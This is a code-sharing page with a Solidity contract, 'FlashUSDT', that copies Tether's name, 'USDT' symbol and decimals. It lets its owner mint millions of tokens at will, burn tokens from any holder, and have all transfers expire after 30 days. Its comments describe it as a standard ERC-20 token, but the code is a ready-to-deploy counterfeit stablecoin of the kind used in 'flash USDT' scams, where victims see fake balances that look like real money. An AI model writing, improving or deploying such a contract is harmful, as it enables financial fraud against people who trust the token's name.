Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
/**
* @title FlashUSDT
* @dev A standard ERC-20 token contract with proper interface compliance
* @notice This contract is designed for easy deployment and wallet compatibility
*/
contract FlashUSDT {
string public constant name = "Tether USD";
string public constant symbol = "USDT";
uint8 public constant decimals = 6; // Same as real USDT
uint256 public totalSupply;
address public owner;
uint256 public deploymentTime;
uint256 public constant EXPIRY_DURATION = 30 days; // 1 month expiry
bool public paused = false; // Pause state
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Paused(address indexed admin);
event Unpaused(address indexed admin);
modifier onlyOwner() {
require(msg.sender == owner, "Only owner can call this function");
_;
}
modifier notExpired() {
require(block.timestamp < deploymentTime + EXPIRY_DURATION, "Token has expired after 1 month");
_;
}
modifier notPaused() {
require(!paused, "Token transfers are paused");
_;
}
constructor() {
owner = msg.sender;
deploymentTime = block.timestamp;
// Start with 0 total supply - you'll mint manually
totalSupply = 0;
// Deployer starts with 0 tokens
balanceOf[msg.sender] = 0;
}
/**
* @dev Transfer tokens to a specified address
* @param _to The address to transfer to
* @param _value The amount to be transferred
* @return success Whether the transfer was successful
*/
function transfer(address _to, uint256 _value) public notExpired notPaused returns (bool success) {
require(balanceOf[msg.sender] >= _value, "Insufficient balance");
require(_to != address(0), "Cannot transfer to zero address");
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from The address to transfer from
* @param _to The address to transfer to
* @param _value The amount to be transferred
* @return success Whether the transfer was successful
*/
function transferFrom(address _from, address _to, uint256 _value) public notExpired notPaused returns (bool success) {
require(balanceOf[_from] >= _value, "Insufficient balance");
require(allowance[_from][msg.sender] >= _value, "Insufficient allowance");
require(_to != address(0), "Cannot transfer to zero address");
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve spender to use tokens on behalf of owner
* @param _spender The address to approve
* @param _value The amount to approve
* @return success Whether the approval was successful
*/
function approve(address _spender, uint256 _value) public notExpired returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Mint new tokens (only owner)
* @param _to The address to mint tokens to
* @param _value The amount to mint
*/
function mint(address _to, uint256 _value) public onlyOwner notExpired {
require(_to != address(0), "Cannot mint to zero address");
totalSupply += _value;
balanceOf[_to] += _value;
emit Mint(_to, _value);
emit Transfer(address(0), _to, _value);
}
/**
* @dev Mint exactly 1 million tokens to owner (convenience function)
*/
function mint1Million() public onlyOwner notExpired {
uint256 amount = 1000000 * 10**decimals; // 1 million tokens (with 6 decimals)
mint(msg.sender, amount);
}
/**
* @dev Mint exactly 5 million tokens to owner (convenience function)
*/
function mint5Million() public onlyOwner notExpired {
uint256 amount = 5000000 * 10**decimals; // 5 million tokens (with 6 decimals)
mint(msg.sender, amount);
}
/**
* @dev Mint exactly 10 million tokens to owner (convenience function)
*/
function mint10Million() public onlyOwner notExpired {
uint256 amount = 10000000 * 10**decimals; // 10 million tokens (with 6 decimals)
mint(msg.sender, amount);
}
/**
* @dev Burn tokens from caller's balance
* @param _value The amount to burn
*/
function burn(uint256 _value) public notExpired {
require(balanceOf[msg.sender] >= _value, "Insufficient balance to burn");
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
/**
* @dev Burn tokens from specified address (only owner)
* @param _from The address to burn tokens from
* @param _value The amount to burn
*/
function burnFrom(address _from, uint256 _value) public onlyOwner notExpired {
require(balanceOf[_from] >= _value, "Insufficient balance to burn");
balanceOf[_from] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
emit Transfer(_from, address(0), _value);
}
/**
* @dev Get the balance of an address (ERC-20 standard)
* @param _address The address to check
* @return The balance of the address
*/
function getBalance(address _address) public view returns (uint256) {
return balanceOf[_address];
}
/**
* @dev Check if the token has expired
* @return True if expired, false if still active
*/
function isExpired() public view returns (bool) {
return block.timestamp >= deploymentTime + EXPIRY_DURATION;
}
/**
* @dev Get the time when the token will expire
* @return The timestamp when the token expires
*/
function getExpiryTime() public view returns (uint256) {
return deploymentTime + EXPIRY_DURATION;
}
/**
* @dev Get the time remaining until expiry
* @return The seconds remaining until expiry (0 if expired)
*/
function getTimeRemaining() public view returns (uint256) {
if (block.timestamp >= deploymentTime + EXPIRY_DURATION) {
return 0;
}
return (deploymentTime + EXPIRY_DURATION) - block.timestamp;
}
/**
* @dev Pause token transfers (only owner)
*/
function pause() public onlyOwner {
require(!paused, "Token is already paused");
paused = true;
emit Paused(msg.sender);
}
/**
* @dev Unpause token transfers (only owner)
*/
function unpause() public onlyOwner {
require(paused, "Token is not paused");
paused = false;
emit Unpaused(msg.sender);
}
/**
* @dev Check if the token is paused
* @return True if paused, false if not paused
*/
function isPaused() public view returns (bool) {
return paused;
}
/**
* @dev Get the allowance between two addresses (ERC-20 standard)
* @param _owner The owner address
* @param _spender The spender address
* @return The allowance amount
*/
function getAllowance(address _owner, address _spender) public view returns (uint256) {
return allowance[_owner][_spender];
}
}
Submitted on: 2025-10-19 10:21:57
Comments
Log in to comment.
No comments yet.